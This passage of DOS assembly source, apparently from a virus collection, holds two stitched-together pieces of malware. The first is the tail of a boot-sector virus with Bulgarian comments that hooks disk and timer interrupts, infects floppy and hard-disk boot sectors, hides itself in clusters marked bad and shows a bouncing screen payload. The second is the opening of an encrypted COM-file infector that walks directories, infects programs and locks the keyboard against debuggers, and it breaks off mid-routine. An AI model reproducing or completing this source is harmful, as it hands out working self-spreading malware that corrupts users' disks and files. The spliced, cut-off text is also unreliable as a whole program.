  2087.     JMP    short L7CA0
  2088.  
  2089. L7C9D:    MOV    AX,0201h
  2090. L7CA0:    XCHG    BX,AX
  2091.     ADD    AX,Word Ptr D7C1C
  2092.     XOR    DX,DX
  2093.  
  2094.     DIV    Word Ptr D7C18        ;»░Ñó░║╣á ½«ú¿╖Ñ▒¬¿┐▓ ▒Ѭ▓«░ ó AX
  2095.     INC    DL            ; (0-7..) ó║ó Track, Side, Sector
  2096.     MOV    CH,DL            ;ó ░Ñú¿▒▓░¿▓Ñ CX, DX (ºá INT 13)
  2097.     XOR    DX,DX
  2098.     DIV    Word Ptr D7C1A
  2099.     MOV    CL,06h
  2100.     SHL    AH,CL
  2101.     OR    AH,CH
  2102.     MOV    CX,AX
  2103.     XCHG    CH,CL
  2104.     MOV    DH,DL
  2105.  
  2106.     MOV    AX,BX
  2107. L7CC3:    MOV    DL,Byte Ptr D7DF8    ;óºÑ¼á ¡«¼Ñ░á ¡á ñ¿▒¬á ºá ╖Ñ▓Ñ¡Ñ (A:)
  2108.     MOV    BX,8000h
  2109.     INT    13h
  2110.     JNC    L7CCF
  2111.     POP    AX            ;▒¬á»óá ▒▓Ѭᠿ ºáú¿óá, á¬« ¿¼á I/O err
  2112. L7CCF:    RET
  2113.  
  2114.  
  2115.  
  2116. ;========================================================================;
  2117. ;    ÆÇçê ÅÉÄâÉÇîÇ æà éÉÜçéÇ ìÇ îƒæÆÄÆÄ ìÇ êæÆêìæèêƒÆ  INT 13     ;
  2118. ;========================================================================;
  2119. NewINT13:
  2120.     PUSH    DS            ;çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  2121.     PUSH    ES
  2122.     PUSH    AX
  2123.     PUSH    BX
  2124.     PUSH    CX
  2125.     PUSH    DX
  2126.  
  2127.     PUSH    CS            ;Ä»░áó┐ ▒ó«┐ DS ¿ ES
  2128.     POP    DS
  2129.     PUSH    CS
  2130.     POP    ES
  2131.  
  2132.     TEST    Byte Ptr D7DF7,01h    ;Ǭ« Ñ 1 - ó║º»░«¿ºóѪñá¡Ñ ¡á ó¿░│▒á,
  2133.     JNE    L7D23            ; «▓¿óá ñá »¿╕Ñ ▒║▒ ▒▓á¡ñá░▓. INT 13
  2134.  
  2135.     CMP    AH,02h            ;ùÑ▓Ñ¡Ñ ¡á ▒Ѭ▓«░?
  2136.     JNE    L7D23            ;ìÑ, »░«ñ║½ªáóá ▒║▒ ▒▓á¡ñá░▓¡¿┐▓ INT 13
  2137.  
  2138.     CMP    Byte Ptr D7DF8,DL    ;ô▒▓░«⌐▒▓ó«▓« ▒║ó»áñá ▒ »«▒½Ññ¡«▓«
  2139.     MOV    Byte Ptr D7DF8,DL    ; ▒ ¬«Ñ▓« Ñ ░áí«▓Ñ¡«
  2140.     JNE    L7D12            ;ìÑ
  2141.  
  2142.     XOR    AH,AH            ;éºÑ¼á ó░ѼÑ▓«
  2143.     INT    1Ah
  2144.     TEST    DH,7Fh            ;í¿▓ 8000 ¡á low order part = 1?
  2145.     JNE    L7D03            ;ñá, »░Ñ▒¬á╖á
  2146.     TEST    DL,0F0h         ;í¿▓«óÑ 00F0 ¡á low order part = 1?
  2147.     JNE    L7D03            ;ñá, »░Ñ▒¬á╖á
  2148.                 ;Å░«┐óá: ¬«úá▓« TIMER .and. 80F0h == 0
  2149.                 ;Å░¿í½¿º¿▓ѽ¡« ¡á 1800 ▒Ѭ. = 30 ¼¿¡.
  2150.  
  2151.     PUSH    DX
  2152.     call    L7EB3            ;Å░«┐óá ¡á ó¿░│▒á - ▒¬á╖á »« Ñ¬░á¡á
  2153.     POP    DX
  2154.  
  2155. L7D03:    MOV    CX,DX            ;Ä»░Ññѽ┐ ▓░┐íóá ½¿ ñá ºá░áº┐óá
  2156.     SUB    DX,Word Ptr D7EB0    ; (»«ñ╡«ñ┐╣ ¼«¼Ñ¡▓ ó░ѼÑ)
  2157.     MOV    Word Ptr D7EB0,CX
  2158.     SUB    DX,+24h
  2159.     JC    L7D23
  2160.  
  2161. L7D12:    OR    Byte Ptr D7DF7,01h    ;æ▓á░▓¿░á ó║º»░«¿ºóѪñá¡Ñ/ºá░áº┐óá¡Ñ
  2162.     PUSH    SI
  2163.     PUSH    DI
  2164.     CALL    L7D2E
  2165.     POP    DI
  2166.     POP    SI
  2167.     AND    Byte Ptr D7DF7,0FEh
  2168.  
  2169. L7D23:    POP    DX            ;é║º▒▓á¡«ó┐óá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  2170.     POP    CX
  2171.     POP    BX
  2172.     POP    AX
  2173.     POP    ES
  2174.     POP    DS
  2175. D7D2A    =    $+1
  2176. D7D2C    =    $+3
  2177.     jmp    c800_SEG        ;æ▓á░▓¿░á ¿▒▓¿¡▒¬¿┐▓ INT 13
  2178.  
  2179.  
  2180.  
  2181. ;================================================================;
  2182. ;    éÜçÅÉÄêçéàåäÇìà ìÇ éêÉôæÇ ê çÇÉÇçƒéÇìà ìÇ ÅÉÄâÉÇîÇ     ;
  2183. ;================================================================;
  2184. L7D2E:    MOV    AX,0201h        ;ùÑ▓Ñ BOOT sector «▓ ñ¿▒¬á
  2185.     MOV    DH,00h            ; BX = ?????????????????????? ¬║ñÑ, íÑ!
  2186.     MOV    CX,0001h
  2187.     CALL    L7CC3
  2188.  
  2189.     TEST    Byte Ptr D7DF8,80h    ;HARD DISK?
  2190.     JE    L7D63            ;¡Ñ
  2191.  
  2192.     ;---- HARD DISK ----;
  2193.     MOV    SI,81BEh        ;Æ║░▒¿ DOS partition
  2194.     MOV    CX,0004h
  2195. L7D46:    CMP    Byte Ptr [SI+04h],01h
  2196.     JE    L7D58
  2197.     CMP    Byte Ptr [SI+04h],04h
  2198.     JE    L7D58
  2199.     ADD    SI,+10h
  2200.     LOOP    L7D46
  2201.     RET                ;¡┐¼á DOS partition, ¡Ñ ºá░áº┐óá
  2202.  
  2203.     ;---- ìá¼Ñ░Ñ¡ Ñ DOS partition ----;
  2204. L7D58:    MOV    DX,Word Ptr [SI]
  2205.     MOV    CX,Word Ptr [SI+02h]
  2206.     MOV    AX,0201h
  2207.     CALL    L7CC3            ;ùÑ▓Ñ BOOT sector «▓ DOS partition
  2208.  
  2209.     ;---- Æ│¬ ¿ñóá á¬« Ñ ñ¿▒¬Ñ▓á, »░«╖Ñ▓Ñ¡ Ñ BOOT sector ----;
  2210. L7D63:    MOV    SI,8002h
  2211.     MOV    DI,offset D7C02
  2212.     MOV    CX,001Ch
  2213.     REPZ MOVSB            ;¼Ñ▒▓¿ BPB ▓áí½¿╢á▓á «▓ BOOT sector
  2214.  
  2215.     CMP    Word Ptr D8000+01FCh,1357h    ;çá░áºÑ¡ ½¿ Ñ ñ¿▒¬á?
  2216.     JNE    L7D8B            ;¡Ñ
  2217.  
  2218.     CMP    Byte Ptr D8000+01FBh,00h    ;è║ñÑ ½¿ ▒«╖¿ DS?
  2219.     JNC    L7D8A
  2220.  
  2221.     ;---- ä¿▒¬á Ñ ºá░áºÑ¡ ----;   ;---- Æ│¬ ¼á⌐ ¡┐¼á ñá ñ«⌐ñÑ ¡¿¬«úá? ----;
  2222.     MOV    AX,Word Ptr D8000+01F5h     ;ü«ªá ░áí«▓á...
  2223.     MOV    Word Ptr D7DF5,AX
  2224.     MOV    SI,Word Ptr D8000+01F9h
  2225.     jmp    L7E92
  2226.  
  2227. L7D8A:    RET
  2228.  
  2229.  
  2230.  
  2231. ;-------------------
  2232. ;    äêæèÇ ìà à çÇÉÇçàì, ÅÄùéÇ çÇÉÇçƒéÇìàÆÄ
  2233. ;
  2234. L7D8B:    CMP    Word Ptr D8000+000Bh,0200h    ;Æ«óá ¡Ñ Ñ ¿¡▓Ñ░Ñ▒¡«
  2235.     JNE    L7D8A
  2236.     CMP    Byte Ptr D8000+000Dh,02h
  2237.     JC    L7D8A
  2238.     MOV    CX,Word Ptr D8000+000Eh
  2239.     MOV    AL,Byte Ptr D8000+0010h
  2240.     CBW
  2241.     MUL    Word Ptr D8000+0016h
  2242.     ADD    CX,AX
  2243.     MOV    AX,0020h
  2244.     MUL    Word Ptr D8000+0011h
  2245.     ADD    AX,01FFh
  2246.     MOV    BX,0200h
  2247.     DIV    BX
  2248.     ADD    CX,AX
  2249.     MOV    Word Ptr D7DF5,CX
  2250.     MOV    AX,Word Ptr D7C13
  2251.     SUB    AX,Word Ptr D7DF5
  2252.     MOV    BL,Byte Ptr D7C0D
  2253.     XOR    DX,DX
  2254.     XOR    BH,BH
  2255.     DIV    BX
  2256.     INC    AX
  2257.     MOV    DI,AX
  2258.     AND    Byte Ptr D7DF7,0FBh
  2259.     CMP    AX,0FF0h
  2260.     JBE    L7DE0
  2261.     OR    Byte Ptr D7DF7,04h
  2262. L7DE0:    MOV    SI,0001h
  2263.     MOV    BX,Word Ptr D7C0E
  2264.     DEC    BX
  2265.     MOV    Word Ptr D7DF3,BX
  2266.     MOV    Byte Ptr D7EB2,0FEh
  2267.     JMP    short L7E00
  2268.  
  2269. D7DF3    DW    1
  2270. D7DF5    DW    000Ch
  2271. D7DF7    DB    1        ;▒▓á▓│▒-íá⌐▓:
  2272.                 ;  0000 0001 - ▒▓á░▓¿░á¡« Ñ ó║º»░«¿ºóѪñá¡Ñ
  2273.                 ;  0000 0010 - ºá¬á╖Ñ¡ Ñ ¡á INT 08
  2274.                 ;  0000 0100
  2275. D7DF8    DB    00    ;│▒▓░«⌐▒▓ó«: 0 - A:, 1 - B:, ...
  2276. D7DF9    DW    274h    ;½«ú¿╖Ñ▒¬¿ ▒Ѭ▓«░, ¬║ñÑ▓« Ñ ºá»¿▒á¡« »░«ñ║½ªÑ¡¿Ñ▓«
  2277.  
  2278.  
  2279.     DB    00
  2280.  
  2281.     DW    1357h        ;êìäêèÇÆÄÉ çÇ çÇÉÇçàì äêæè!!!!!!!!
  2282.  
  2283.     DW    0AA55h        ;¡«░¼á½Ñ¡ BOOT ▒Ѭ▓«░
  2284.  
  2285.  
  2286. ;***********************************************************;
  2287. ;       éÆÄÉê æàèÆÄÉ - ÅÉÄäÜïåàìêà ìÇ éêÉôæÇ         ;
  2288. ;     ìÇîêÉÇ æà ìÇ bad sector ìÇéÜÆÉà é äêæèÇ        ;
  2289. ;***********************************************************;
  2290. L7E00:    INC    Word Ptr D7DF3
  2291.     MOV    BX,Word Ptr D7DF3
  2292.     ADD    Byte Ptr D7EB2,02h
  2293.     call    L7C9D
  2294.     JMP    short L7E4B
  2295. L7E12:    MOV    AX,0003h
  2296.     TEST    Byte Ptr D7DF7,04h
  2297.     JE    L7E1D
  2298.     INC    AX
  2299. L7E1D:    MUL    SI
  2300.     SHR    AX,1
  2301.     SUB    AH,Byte Ptr D7EB2
  2302.     MOV    BX,AX
  2303.     CMP    BX,01FFh
  2304.     JNC    L7E00
  2305.     MOV    DX,Word Ptr D8000[BX]
  2306.     TEST    Byte Ptr D7DF7,04h
  2307.     JNE    L7E45
  2308.     MOV    CL,04h
  2309.     TEST    SI,0001h
  2310.     JE    L7E42
  2311.     SHR    DX,CL
  2312. L7E42:    AND    DH,0Fh
  2313. L7E45:    TEST    DX,0FFFFh
  2314.     JE    L7E51
  2315. L7E4B:    INC    SI
  2316.     CMP    SI,DI
  2317.     JBE    L7E12
  2318.     RET
  2319. L7E51:    MOV    DX,0FFF7h
  2320.     TEST    Byte Ptr D7DF7,04h
  2321.     JNE    L7E68
  2322.     AND    DH,0Fh
  2323.     MOV    CL,04h
  2324.     TEST    SI,0001h
  2325.     JE    L7E68
  2326.     SHL    DX,CL
  2327. L7E68:    OR    Word Ptr D8000[BX],DX
  2328.     MOV    BX,Word Ptr D7DF3
  2329.     call    L7C98
  2330.     MOV    AX,SI
  2331.     SUB    AX,0002h
  2332.  
  2333.     MOV    BL,Byte Ptr D7C0D
  2334.     XOR    BH,BH
  2335.     MUL    BX
  2336.     ADD    AX,Word Ptr D7DF5
  2337.     MOV    SI,AX
  2338.     MOV    BX,0000h
  2339.     call    L7C9D
  2340.  
  2341.     MOV    BX,SI
  2342.     INC    BX
  2343.     call    L7C98
  2344.  
  2345. L7E92:    MOV    BX,SI
  2346.     MOV    Word Ptr D7DF9,SI
  2347.     PUSH    CS
  2348.     POP    AX
  2349.     SUB    AX,0020h
  2350.     MOV    ES,AX
  2351.     call    L7C98
  2352.  
  2353.     PUSH    CS
  2354.     POP    AX
  2355.     SUB    AX,0040h
  2356.     MOV    ES,AX
  2357.     MOV    BX,0000h
  2358.     call    L7C98
  2359.     RET
  2360.  
  2361. D7EB0    DW    0EEF0h
  2362. D7EB2    DB    0
  2363.  
  2364.  
  2365. ;=======================================================;
  2366. ;    çÇèÇùéÇìà çÇ int 08, ÇèÄ ìà à çÇèÇùàìÇ        ;
  2367. ;=======================================================;
  2368. L7EB3:    TEST    Byte Ptr D7DF7,02h
  2369.     JNE    L7EDE
  2370.     OR    Byte Ptr D7DF7,02h
  2371.  
  2372.     assume    ds:BIOS_SEG
  2373.     MOV    AX,0000h        ;çá¬á╖óá ▒Ñ ¡á INT 8
  2374.     MOV    DS,AX
  2375.     MOV    AX,Word Ptr D0020
  2376.     MOV    BX,Word Ptr D0022
  2377.     MOV    Word Ptr D0020,offset NewINT08
  2378.     MOV    Word Ptr D0022,CS
  2379.     assume    ds:SEG0000
  2380.     PUSH    CS
  2381.     POP    DS
  2382.     MOV    Word Ptr D7FC9,AX    ;çá»áºóá ▒▓á░¿┐▓ INT 8
  2383.     MOV    Word Ptr D7FCB,BX
  2384.  
  2385. L7EDE:    RET
  2386.  
  2387.  
  2388. ;=====================================================================;
  2389. ;    ÆÇçê ÅÉÄâÉÇîÇ æà éÉÜçéÇ ìÇ îƒæÆÄÆÄ ìÇ êæÆêìæèêƒÆ int 08       ;
  2390. ;=====================================================================;
  2391. NewINT08:
  2392.     PUSH    DS            ;çá»áºóá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  2393.     PUSH    AX
  2394.     PUSH    BX
  2395.     PUSH    CX
  2396.     PUSH    DX
  2397.  
  2398.     PUSH    CS            ;Ä»░áó┐ ▒«í▒▓óÑ¡¿┐▓ DS
  2399.     POP    DS
  2400.  
  2401.     MOV    AH,0Fh            ;Get current video mode
  2402.     INT    10h
  2403.  
  2404.     MOV    BL,AL
  2405.     CMP    BX,Word Ptr D7FD4    ;mode = ▒▓á░¿┐▓ mode
  2406.     JE    L7F27            ;ñá, »░«ñ║½ªáóá
  2407.  
  2408.     ;---- ÉѪ¿¼║▓ ¡á ñ¿▒»½Ñ⌐ Ñ »░«¼Ñ¡Ñ¡. ô▒▓á¡«ó┐ó┐ ¡«ó¿┐▓ ░Ѫ¿¼ ----;
  2409.     MOV    Word Ptr D7FD4,BX    ;ºá»¿▒óá ▒▓░á¡¿╢á▓á ¿ mode
  2410.     DEC    AH
  2411.     MOV    Byte Ptr D7FD6,AH    ;ºá»áºóá char_per_line-1
  2412.  
  2413.     MOV    AH,01h
  2414.     CMP    BL,07h            ;mode = text b/w MGA, EGA?
  2415.     JNE    L7F05            ;¡Ñ
  2416.     DEC    AH
  2417.  
  2418. L7F05:    CMP    BL,04h            ;mode = graphics?
  2419.     JNC    L7F0C            ;ñá
  2420.     DEC    AH
  2421.  
  2422. L7F0C:    MOV    Byte Ptr D7FD3,AH
  2423.     MOV    Word Ptr D7FCF,0101h
  2424.     MOV    Word Ptr D7FD1,0101h
  2425.  
  2426.     MOV    AH,03h            ;Read cursor position and size
  2427.     INT    10h
  2428.  
  2429.     PUSH    DX            ;çá»áºóá »«º¿╢¿┐▓á ¡á ¬│░▒«░á
  2430.  
  2431.     MOV    DX,Word Ptr D7FCF
  2432.     JMP    short L7F4A
  2433.  
  2434.  
  2435.     ;---- ÉѪ¿¼║▓ ¡á ñ¿▒»½Ñ┐ (mode) ¡Ñ Ñ »░«¼Ñ¡┐¡ ----;
  2436. L7F27:    MOV    AH,03h            ;Read cursor position and size
  2437.     INT    10h
  2438.  
  2439.     PUSH    DX            ;çá»áºóá cursor pos & size
  2440.  
  2441.     MOV    AH,02h            ;Set cursor position
  2442.     MOV    DX,Word Ptr D7FCF
  2443.     INT    10h
  2444.  
  2445.     MOV    AX,Word Ptr D7FCD    ;Ä»░Ññѽ┐ ¬á¬ó« ñá »¿╕Ñ »« Ñ¬░á¡á
  2446.     CMP    Byte Ptr D7FD3,01h    ;mode = GRAPF?
  2447.     JNE    L7F41            ;¡Ñ
  2448.     MOV    AX,8307h
  2449.  
  2450. L7F41:    MOV    BL,AH            ;Write character & attribute
  2451.     MOV    CX,0001h
  2452.     MOV    AH,09h
  2453.     INT    10h
  2454.  
  2455.  
  2456.  
  2457.     ;---- è«░¿ú¿░á »«º¿╢¿┐▓á ¡á ¬│░▒«░á ----;
  2458. L7F4A:    MOV    CX,Word Ptr D7FD1
  2459.  
  2460.     CMP    DH,00h            ;Up
  2461.     JNE    L7F58
  2462.     XOR    CH,0FFh
  2463.     INC    CH
  2464.  
  2465. L7F58:    CMP    DH,18h            ;Down
  2466.     JNE    L7F62
  2467.     XOR    CH,0FFh
  2468.     INC    CH
  2469.  
  2470. L7F62:    CMP    DL,00h            ;Left
  2471.     JNE    L7F6C
  2472.     XOR    CL,0FFh
  2473.     INC    CL
  2474.  
  2475. L7F6C:    CMP    DL,Byte Ptr D7FD6    ;Right
  2476.     JNE    L7F77
  2477.     XOR    CL,0FFh
  2478.     INC    CL
  2479.  
  2480. L7F77:    CMP    CX,Word Ptr D7FD1
  2481.     JNE    L7F94
  2482.     MOV    AX,Word Ptr D7FCD
  2483.     AND    AL,07h
  2484.     CMP    AL,03h
  2485.     JNE    L7F8B
  2486.     XOR    CH,0FFh
  2487.     INC    CH
  2488. L7F8B:    CMP    AL,05h
  2489.     JNE    L7F94
  2490.     XOR    CL,0FFh
  2491.     INC    CL
  2492.  
  2493. L7F94:    ADD    DL,CL
  2494.     ADD    DH,CH
  2495.     MOV    Word Ptr D7FD1,CX
  2496.     MOV    Word Ptr D7FCF,DX
  2497.     MOV    AH,02h
  2498.     INT    10h            ;Set cursor position
  2499.  
  2500.     MOV    AH,08h            ;Read character & attribute
  2501.     INT    10h
  2502.  
  2503.     MOV    Word Ptr D7FCD,AX
  2504.     MOV    BL,AH
  2505.     CMP    Byte Ptr D7FD3,01h    ;mode = GRAPH?
  2506.     JNE    L7FB6            ;¡Ñ
  2507.     MOV    BL,83h
  2508.  
  2509. L7FB6:    MOV    CX,0001h        ;Write character & attribute
  2510.     MOV    AX,0907h
  2511.     INT    10h
  2512.  
  2513.     POP    DX            ;Restore cursor position
  2514.     MOV    AH,02h
  2515.     INT    10h
  2516.  
  2517.     POP    DX            ;é║º▒▓á¡«ó┐óá »«▓░Ñí¿▓ѽ▒¬¿▓Ñ ░Ñú¿▒▓░¿
  2518.     POP    CX
  2519.     POP    BX
  2520.     POP    AX
  2521.     POP    DS
  2522. D7FC9    =    $+1
  2523. D7FCB    =    $+3
  2524.     JMP    INTERR8         ;Ä▓¿óá ¡á ¿▒▓¿¡▒¬¿┐▓ INT 08
  2525.  
  2526. D7FCD    DW    0
  2527. D7FCF    DW    0101h            ;Éáí«▓¡á »«º¿╢¿┐ ¡á Ñ¬░á¡á ¡á ó¿░│▒á
  2528. D7FD1    DW    0101h
  2529. D7FD3    DB    0            ; 1 - mode = graph, b800
  2530.                     ; 0 - mode = text,  b800
  2531.                     ;-1 - mode = 7, text b/w EGA,HGA
  2532.  
  2533. D7FD4    DW    0FFFFh            ;▒Ἷ┐▓ mode
  2534. D7FD6    DB    50h            ;í░«⌐ ▒¿¼ó«½¿ ¡á ░Ññ
  2535.  
  2536.  
  2537.     DB    0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
  2538.     DB    0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
  2539.     DB    050h,0ECh,040h,064h,05Ch,060h,052h,040h
  2540.     DB    040h,040h,040h,064h,062h,05Eh,062h,060h
  2541.     DB    05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
  2542.     DB    0B6h
  2543.  
  2544.  
  2545. ;*************************************************************
  2546. ;          ÉÇüÄÆìÇ ÄüïÇæÆ ìÇ éêÉôæÇ
  2547. D8000    =    $
  2548.  
  2549. SEG0000 ends
  2550.     END
  2551.  
  2552. done
  2553.  
  2554. virus_type    equ    0            ; Appending Virus
  2555. is_encrypted    equ    1            ; We're encrypted
  2556. tsr_virus    equ    0            ; We're not TSR
  2557.  
  2558. code        segment byte public
  2559.         assume    cs:code,ds:code,es:code,ss:code
  2560.         org    0100h
  2561.  
  2562. main        proc    near
  2563.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  2564. start:        call    find_offset        ; Like a PUSH IP
  2565. find_offset:    pop    bp            ; BP holds old IP
  2566.         sub    bp,offset find_offset    ; Adjust for length of host
  2567.  
  2568.         call    encrypt_decrypt        ; Decrypt the virus
  2569.  
  2570. start_of_code    label    near
  2571.  
  2572.         lea    si,[bp + buffer]    ; SI points to original start
  2573.         mov    di,0100h        ; Push 0100h on to stack for
  2574.         push    di            ; return to main program
  2575.         movsw                ; Copy the first two bytes
  2576.         movsb                ; Copy the third byte
  2577.  
  2578.         mov    di,bp            ; DI points to start of virus
  2579.  
  2580.         mov    bp,sp            ; BP points to stack
  2581.         sub    sp,128            ; Allocate 128 bytes on stack
  2582.  
  2583.         mov    ah,02Fh            ; DOS get DTA function
  2584.         int    021h
  2585.         push    bx            ; Save old DTA address on stack
  2586.  
  2587.         mov    ah,01Ah            ; DOS set DTA function
  2588.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  2589.         int    021h
  2590.  
  2591. stop_tracing:    mov    cx,09EBh
  2592.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  2593.         jmp    $-2
  2594.         add    ah,03Bh            ; AH now equals 025h
  2595.         jmp    $-10            ; Execute the HaLT
  2596.         lea    bx,[di + null_vector]    ; BX points to new routine
  2597.         push    cs            ; Transfer CS into ES
  2598.         pop    es            ; using a PUSH/POP
  2599.         int    021h
  2600.         mov    al,1            ; Disable interrupt 1, too
  2601.         int    021h
  2602.         jmp    short skip_null        ; Hop over the loop
  2603. null_vector:    jmp    $            ; An infinite loop
  2604. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  2605. lock_keys:    mov    al,128            ; Change here screws DEBUG
  2606.         out    021h,al            ; If tracing then lock keyboard
  2607.  
  2608.         call    search_files        ; Find and infect a file
  2609.  
  2610.         call    infected_all
  2611.         or    ax,ax            ; Did the function return zero?
  2612.         jne    skip00            ; If not equal, skip effect
  2613.         jmp    short strt00        ; Success -- skip jump
  2614. skip00:        jmp    end00            ; Skip the routine
  2615. strt00:        lea    si,[di + data00]    ; SI points to data
  2616.         mov    ah,0Eh            ; BIOS display char. function
  2617. display_loop:   lodsb                ; Load the next char. into AL
  2618.         or    al,al            ; Is the character a null?
  2619.         je    disp_strnend        ; If it is, exit
  2620.         int    010h            ; BIOS video interrupt
  2621.         jmp    short display_loop    ; Do the next character
  2622. disp_strnend:
  2623.  
  2624. end00:
  2625. com_end:    pop    dx            ; DX holds original DTA address
  2626.         mov    ah,01Ah            ; DOS set DTA function
  2627.         int    021h
  2628.  
  2629.         mov    sp,bp            ; Deallocate local buffer
  2630.  
  2631.         xor    ax,ax            ;
  2632.         mov    bx,ax            ;
  2633.         mov    cx,ax            ;
  2634.         mov    dx,ax            ; Empty out the registers
  2635.         mov    si,ax            ;
  2636.         mov    di,ax            ;
  2637.         mov    bp,ax            ;
  2638.  
  2639.         ret                ; Return to original program
  2640. main        endp
  2641.  
  2642.  
  2643.         db    064h,06Dh,056h,0D5h,05Dh
  2644.  
  2645. search_files    proc    near
  2646.         push    bp            ; Save BP
  2647.         mov    bp,sp            ; BP points to local buffer
  2648.         sub    sp,64            ; Allocate 64 bytes on stack
  2649.  
  2650.         mov    ah,047h            ; DOS get current dir function
  2651.         xor    dl,dl            ; DL holds drive # (current)
  2652.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  2653.         int    021h
  2654.  
  2655.         mov    ah,03Bh            ; DOS change directory function
  2656.         lea    dx,[di + root]        ; DX points to root directory
  2657.         int    021h
  2658.  
  2659.         call    traverse        ; Start the traversal
  2660.  
  2661.         mov    ah,03Bh            ; DOS change directory function
  2662.         lea    dx,[bp - 64]        ; DX points to old directory
  2663.         int    021h
  2664.  
  2665.         mov    sp,bp            ; Restore old stack pointer
  2666.         pop    bp            ; Restore BP
  2667.         ret                ; Return to caller
  2668.  
  2669. root        db    "\",0            ; Root directory
  2670. search_files    endp
  2671.  
  2672. traverse    proc    near
  2673.         push    bp            ; Save BP
  2674.  
  2675.         mov    ah,02Fh            ; DOS get DTA function
  2676.         int    021h
  2677.         push    bx            ; Save old DTA address
  2678.  
  2679.         mov    bp,sp            ; BP points to local buffer
  2680.         sub    sp,128            ; Allocate 128 bytes on stack
  2681.  
  2682.         mov    ah,01Ah            ; DOS set DTA function
  2683.         lea    dx,[bp - 128]        ; DX points to buffer
  2684.         int    021h
  2685.  
  2686.         mov    ah,04Eh            ; DOS find first function
  2687.         mov    cx,00010000b        ; CX holds search attributes
  2688.         lea    dx,[di + all_files]    ; DX points to "*.*"
  2689.         int    021h
  2690.         jc    leave_traverse        ; Leave if no files present
  2691.  
  2692. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  2693.         jne    another_dir        ; If not, try again
  2694.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  2695.         je    another_dir        ;If so, keep going
  2696.  
  2697.         mov    ah,03Bh            ; DOS change directory function
  2698.         lea    dx,[bp - 98]        ; DX points to new directory
  2699.         int    021h
  2700.  
  2701.         call    traverse        ; Recursively call ourself
  2702.  
  2703.         pushf                ; Save the flags
  2704.         mov    ah,03Bh            ; DOS change directory function
  2705.         lea    dx,[di + up_dir]    ; DX points to parent directory
  2706.         int    021h
  2707.         popf                ; Restore the flags
  2708.  
  2709.         jnc    done_searching        ; If we infected then exit
  2710.  
  2711. another_dir:    mov    ah,04Fh            ; DOS find next function
  2712.         int    021h
  2713.         jnc    check_dir        ; If found check the file
  2714.  
  2715. leave_traverse:
  2716.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  2717.         call    find_files        ; Try to infect a file
  2718. done_searching:    mov    sp,bp            ; Restore old stack frame
  2719.         mov    ah,01Ah            ; DOS set DTA function
  2720.         pop    dx            ; Retrieve old DTA address
  2721.         int    021h
  2722.  
  2723.         pop    bp            ; Restore BP
  2724.         ret                ; Return to caller
  2725.  
  2726. up_dir        db    "..",0            ; Parent directory name
  2727. all_files    db    "*.*",0            ; Directories to search for
  2728. com_mask    db    "*.COM",0        ; Mask for all .COM files
  2729. traverse    endp
  2730.  
  2731.         db    0D9h,013h,047h,056h,001h
  2732.  
  2733.  
  2734. find_files    proc    near
  2735.         push    bp            ; Save BP
  2736.  
  2737.         mov    ah,02Fh            ; DOS get DTA function
  2738.         int    021h
  2739.         push    bx            ; Save old DTA address
  2740.  
  2741.         mov    bp,sp            ; BP points to local buffer
  2742.         sub    sp,128            ; Allocate 128 bytes on stack
  2743.  
  2744.         push    dx            ; Save file mask
  2745.         mov    ah,01Ah            ; DOS set DTA function
  2746.         lea    dx,[bp - 128]        ; DX points to buffer
  2747.         int    021h
  2748.  
  2749.         mov    ah,04Eh            ; DOS find first file function
  2750.         mov    cx,00100111b        ; CX holds all file attributes
  2751.         pop    dx            ; Restore file mask
  2752. find_a_file:    int    021h
  2753.         jc    done_finding        ; Exit if no files found
  2754.         call    infect_file        ; Infect the file!
  2755.         jnc    done_finding        ; Exit if no error
  2756.         mov    ah,04Fh            ; DOS find next file function
  2757.         jmp    short find_a_file    ; Try finding another file
  2758.  
  2759. done_finding:    mov    sp,bp            ; Restore old stack frame
  2760.         mov    ah,01Ah            ; DOS set DTA function
  2761.         pop    dx            ; Retrieve old DTA address
  2762.         int    021h
  2763.  
  2764.         pop    bp            ; Restore BP
  2765.         ret                ; Return to caller
  2766. find_files    endp
  2767.  
  2768.         db    005h,083h,072h,0C1h,006h
  2769.  
  2770. infect_file    proc    near
  2771.         mov    ah,02Fh            ; DOS get DTA address function
  2772.         int    021h
  2773.         mov    si,bx            ; SI points to the DTA
  2774.  
  2775.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  2776.  
  2777.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  2778.         jbe    size_ok            ; If it's small enough continue
  2779.         jmp    infection_done        ; Otherwise exit
  2780.  
  2781. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  2782.         lea    dx,[si + 01Eh]        ; DX points to file name
  2783.         int    021h
  2784.         xchg    bx,ax            ; BX holds file handle
  2785.  
  2786.         mov    ah,03Fh            ; DOS read from file function
  2787.         mov    cx,3            ; CX holds bytes to read (3)
  2788.         lea    dx,[di + buffer]    ; DX points to buffer
  2789.         int    021h
  2790.  
  2791.         mov    ax,04202h        ; DOS file seek function, EOF
  2792.         cwd                ; Zero DX _ Zero bytes from end
  2793.         mov    cx,dx            ; Zero CX /
  2794.         int    021h
  2795.  
  2796.         xchg    dx,ax            ; Faster than a PUSH AX
  2797.         mov    ah,03Eh            ; DOS close file function
  2798.         int    021h
  2799.         xchg    dx,ax            ; Faster than a POP AX
  2800.  
  2801.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  2802.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  2803.         je    infection_done        ; If equal then exit
  2804.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  2805.         add    ax,finish - start    ; Re-adjust to make the jump
  2806.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  2807.  
  2808.         mov    ax,04301h        ; DOS set file attrib. function
